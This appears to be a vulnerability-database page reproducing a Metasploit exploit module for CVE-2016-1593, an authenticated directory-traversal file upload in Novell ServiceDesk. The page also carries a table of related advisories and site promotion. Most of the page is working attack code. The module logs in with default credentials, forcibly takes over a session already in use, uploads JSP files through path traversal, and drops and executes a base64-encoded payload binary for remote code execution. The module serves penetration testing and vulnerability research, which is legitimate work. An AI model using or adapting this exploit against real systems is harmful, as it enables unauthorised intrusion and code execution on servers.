| Reporter | Title | Published | Views | Family All 15 |
|---|---|---|---|---|
| Novell Service Desk 7.1.0/7.0.3 / 6.5 - Multiple Vulnerabilities | 11 Apr 201600:00 | – | zdt | |
| Novell ServiceDesk - Authenticated Arbitrary File Upload (Metasploit) | 18 Apr 201600:00 | – | zdt | |
| CVE-2016-1593 | 29 May 201815:50 | – | circl | |
| Micro Focus Service Desk Path Traversal Vulnerability | 14 Apr 201600:00 | – | cnvd | |
| Novell Service Desk clientImportUploadForm Directory Traversal (CVE-2016-1593) | 24 May 201600:00 | – | checkpoint_advisories | |
| CVE-2016-1593 | 22 Apr 201610:00 | – | cve | |
| CVE-2016-1593 | 22 Apr 201610:00 | – | cvelist | |
| Novell ServiceDesk 6.5/7.0.3/7.1.0 - Multiple Vulnerabilities | 11 Apr 201600:00 | – | exploitdb | |
| Novell ServiceDesk Authenticated File Upload | 10 Apr 201622:17 | – | metasploit | |
| CVE-2016-1593 | 22 Apr 201610:59 | – | nvd |
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
include Msf::Exploit::EXE
def initialize(info = {})
super(update_info(info,
'Name' => 'Novell ServiceDesk Authenticated File Upload',
'Description' => %q{
This module exploits an authenticated arbitrary file upload via directory traversal
to execute code on the target. It has been tested on versions 6.5 and 7.1.0, in
Windows and Linux installations of Novell ServiceDesk, as well as the Virtual
Appliance provided by Novell.
},
'Author' =>
[
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2016-1593' ],
[ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/novell-service-desk-7.1.0.txt' ],
[ 'URL', 'http://seclists.org/bugtraq/2016/Apr/64' ]
],
'Platform' => %w{ linux win },
'Arch' => ARCH_X86,
'DefaultOptions' => { 'WfsDelay' => 15 },
'Targets' =>
[
[ 'Automatic', {} ],
[ 'Novell ServiceDesk / Linux',
{
'Platform' => 'linux',
'Arch' => ARCH_X86
}
],
[ 'Novell ServiceDesk / Windows',
{
'Platform' => 'win',
'Arch' => ARCH_X86
}
],
],
'Privileged' => false, # Privileged on Windows but not on (most) Linux targets
'DefaultTarget' => 0,
'DisclosureDate' => 'Mar 30 2016'
))
register_options(
[
OptPort.new('RPORT',
[true, 'The target port', 80]),
OptString.new('USERNAME',
[true, 'The username to login as', 'admin']),
OptString.new('PASSWORD',
[true, 'Password for the specified username', 'admin']),
OptString.new('TRAVERSAL_PATH',
[false, 'Traversal path to tomcat/webapps/LiveTime/'])
], self.class)
end
def get_version
res = send_request_cgi({
'uri' => normalize_uri('LiveTime','WebObjects','LiveTime.woa'),
'method' => 'GET',
'headers' => {
'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)',
}
})
if res && res.code == 200 && res.body.to_s =~ /\<p class\=\"login-version-title\"\>\Version \#([0-9\.]+)\<\/p\>/
return $1.to_f
else
return 999
end
end
def check
version = get_version
if version <= 7.1 && version >= 6.5
return Exploit::CheckCode::Appears
elsif version > 7.1
return Exploit::CheckCode::Safe
else
return Exploit::CheckCode::Unknown
end
end
def pick_target
return target if target.name != 'Automatic'
print_status("#{peer} - Determining target")
os_finder_payload = %Q{<html><body><%out.println(System.getProperty("os.name"));%></body><html>}
traversal_paths = []
if datastore['TRAVERSAL_PATH']
traversal_paths << datastore['TRAVERSAL_PATH'] # add user specified or default Virtual Appliance path
end
# add Virtual Appliance path plus the traversal in a Windows or Linux self install
traversal_paths.concat(['../../srv/tomcat6/webapps/LiveTime/','../../Server/webapps/LiveTime/'])
# test each path to determine OS (and correct path)
traversal_paths.each do |traversal_path|
jsp_name = upload_jsp(traversal_path, os_finder_payload)
res = send_request_cgi({
'uri' => normalize_uri('LiveTime', jsp_name),
'method' => 'GET',
'headers' => {
'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)',
},
'cookie' => @cookies
})
if res && res.code == 200
if res.body.to_s =~ /Windows/
@my_target = targets[2]
else
# Linux here
@my_target = targets[1]
end
if traversal_path.include? '/srv/tomcat6/webapps/'
register_files_for_cleanup('/srv/tomcat6/webapps/LiveTime/' + jsp_name)
else
register_files_for_cleanup('../webapps/LiveTime/' + jsp_name)
end
return traversal_path
end
end
return nil
end
def upload_jsp(traversal_path, jsp)
jsp_name = Rex::Text.rand_text_alpha(6+rand(8)) + ".jsp"
post_data = Rex::MIME::Message.new
post_data.add_part(jsp, "application/octet-stream", 'binary', "form-data; name=\"#{@upload_form}\"; filename=\"#{traversal_path}#{jsp_name}\"")
data = post_data.to_s
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(@upload_url),
'headers' => {
'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)',
},
'cookie' => @cookies,
'data' => data,
'ctype' => "multipart/form-data; boundary=#{post_data.bound}"
})
if not res && res.code == 200
fail_with(Failure::Unknown, "#{peer} - Failed to upload payload...")
else
return jsp_name
end
end
def create_jsp
opts = {:arch => @my_target.arch, :platform => @my_target.platform}
payload = exploit_regenerate_payload(@my_target.platform, @my_target.arch)
exe = generate_payload_exe(opts)
base64_exe = Rex::Text.encode_base64(exe)
native_payload_name = rand_text_alpha(rand(6)+3)
ext = (@my_target['Platform'] == 'win') ? '.exe' : '.bin'
var_raw = Rex::Text.rand_text_alpha(rand(8) + 3)
var_ostream = Rex::Text.rand_text_alpha(rand(8) + 3)
var_buf = Rex::Text.rand_text_alpha(rand(8) + 3)
var_decoder = Rex::Text.rand_text_alpha(rand(8) + 3)
var_tmp = Rex::Text.rand_text_alpha(rand(8) + 3)
var_path = Rex::Text.rand_text_alpha(rand(8) + 3)
var_proc2 = Rex::Text.rand_text_alpha(rand(8) + 3)
if @my_target['Platform'] == 'linux'
var_proc1 = Rex::Text.rand_text_alpha(rand(8) + 3)
chmod = %Q|
Process #{var_proc1} = Runtime.getRuntime().exec("chmod 777 " + #{var_path});
Thread.sleep(200);
|
var_proc3 = Rex::Text.rand_text_alpha(rand(8) + 3)
cleanup = %Q|
Thread.sleep(200);
Process #{var_proc3} = Runtime.getRuntime().exec("rm " + #{var_path});
|
else
chmod = ''
cleanup = ''
end
jsp = %Q|
<%@page import="java.io.*"%>
<%@page import="sun.misc.BASE64Decoder"%>
<%
try {
String #{var_buf} = "#{base64_exe}";
BASE64Decoder #{var_decoder} = new BASE64Decoder();
byte[] #{var_raw} = #{var_decoder}.decodeBuffer(#{var_buf}.toString());
File #{var_tmp} = File.createTempFile("#{native_payload_name}", "#{ext}");
String #{var_path} = #{var_tmp}.getAbsolutePath();
BufferedOutputStream #{var_ostream} =
new BufferedOutputStream(new FileOutputStream(#{var_path}));
#{var_ostream}.write(#{var_raw});
#{var_ostream}.close();
#{chmod}
Process #{var_proc2} = Runtime.getRuntime().exec(#{var_path});
#{cleanup}
} catch (Exception e) {
}
%>
|
jsp = jsp.gsub(/\n/, '')
jsp = jsp.gsub(/\t/, '')
jsp = jsp.gsub(/\x0d\x0a/, "")
jsp = jsp.gsub(/\x0a/, "")
return jsp
end
def exploit
version = get_version
# 1: get the cookies, the login_url and the password_form and username form names (they varies between versions)
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri('/LiveTime/WebObjects/LiveTime.woa'),
'headers' => {
'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)',
}
})
if res && res.code == 200 && res.body.to_s =~ /class\=\"login\-form\"(.*)action\=\"([\w\/\.]+)(\;jsessionid\=)*/
login_url = $2
@cookies = res.get_cookies
if res.body.to_s =~ /type\=\"password\" name\=\"([\w\.]+)\" \/\>/
password_form = $1
else
# we shouldn't hit this condition at all, this is default for v7+
password_form = 'password'
end
if res.body.to_s =~ /type\=\"text\" name\=\"([\w\.]+)\" \/\>/
username_form = $1
else
# we shouldn't hit this condition at all, this is default for v7+
username_form = 'username'
end
else
fail_with(Failure::NoAccess, "#{peer} - Failed to get the login URL.")
end
# 2: authenticate and get the import_url
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(login_url),
'headers' => {
'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)',
},
'cookie' => @cookies,
'vars_post' => {
username_form => datastore['USERNAME'],
password_form => datastore['PASSWORD'],
'ButtonLogin' => 'Login'
}
})
if res && res.code == 200 &&
(res.body.to_s =~ /id\=\"clientListForm\" action\=\"([\w\/\.]+)\"\>/ || # v7 and above
res.body.to_s =~ /\<form method\=\"post\" action\=\"([\w\/\.]+)\"\>/) # v6.5
import_url = $1
else
# hmm either the password is wrong or someone else is using "our" account.. .
# let's try to boot him out
if res && res.code == 200 && res.body.to_s =~ /class\=\"login\-form\"(.*)action\=\"([\w\/\.]+)(\;jsessionid\=)*/ &&
res.body.to_s =~ /This account is in use on another system/
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(login_url),
'headers' => {
'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)',
},
'cookie' => @cookies,
'vars_post' => {
username_form => datastore['USERNAME'],
password_form => datastore['PASSWORD'],
'ButtonLoginOverride' => 'Login'
}
})
if res && res.code == 200 &&
(res.body.to_s =~ /id\=\"clientListForm\" action\=\"([\w\/\.]+)\"\>/ || # v7 and above
res.body.to_s =~ /\<form method\=\"post\" action\=\"([\w\/\.]+)\"\>/) # v6.5
import_url = $1
else
fail_with(Failure::Unknown, "#{peer} - Failed to get the import URL.")
end
else
fail_with(Failure::Unknown, "#{peer} - Failed to get the import URL.")
end
end
# 3: get the upload_url
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(import_url),
'headers' => {
'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)',
},
'cookie' => @cookies,
'vars_post' => {
'ButtonImport' => 'Import'
}
})
if res && res.code == 200 &&
(res.body.to_s =~ /id\=\"clientImportUploadForm\" action\=\"([\w\/\.]+)\"\>/ || # v7 and above
res.body.to_s =~ /\<form method\=\"post\" enctype\=\"multipart\/form-data\" action\=\"([\w\/\.]+)\"\>/) # v6.5
@upload_url = $1
else
fail_with(Failure::Unknown, "#{peer} - Failed to get the upload URL.")
end
if res.body.to_s =~ /\<input type\=\"file\" name\=\"([0-9\.]+)\" \/\>/
@upload_form = $1
else
# go with the default for 7.1.0, might not work with other versions...
@upload_form = "0.53.19.0.2.7.0.3.0.0.1.1.1.4.0.0.23"
end
# 4: target selection
@my_target = nil
# pick_target returns the traversal_path and sets @my_target
traversal_path = pick_target
if @my_target.nil?
fail_with(Failure::NoTarget, "#{peer} - Unable to select a target, we must bail.")
else
print_status("#{peer} - Selected target #{@my_target.name} with traversal path #{traversal_path}")
end
# When using auto targeting, MSF selects the Windows meterpreter as the default payload.
# Fail if this is the case and ask the user to select an appropriate payload.
if @my_target['Platform'] == 'linux' && payload_instance.name =~ /Windows/
fail_with(Failure::BadConfig, "#{peer} - Select a compatible payload for this Linux target.")
end
# 5: generate the JSP with the payload
jsp = create_jsp
print_status("#{peer} - Uploading payload...")
jsp_name = upload_jsp(traversal_path, jsp)
if traversal_path.include? '/srv/tomcat6/webapps/'
register_files_for_cleanup('/srv/tomcat6/webapps/LiveTime/' + jsp_name)
else
register_files_for_cleanup('../webapps/LiveTime/' + jsp_name)
end
# 6: pwn it!
print_status("#{peer} - Requesting #{jsp_name}")
send_request_raw({'uri' => normalize_uri('LiveTime', jsp_name)})
handler
end
endData
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation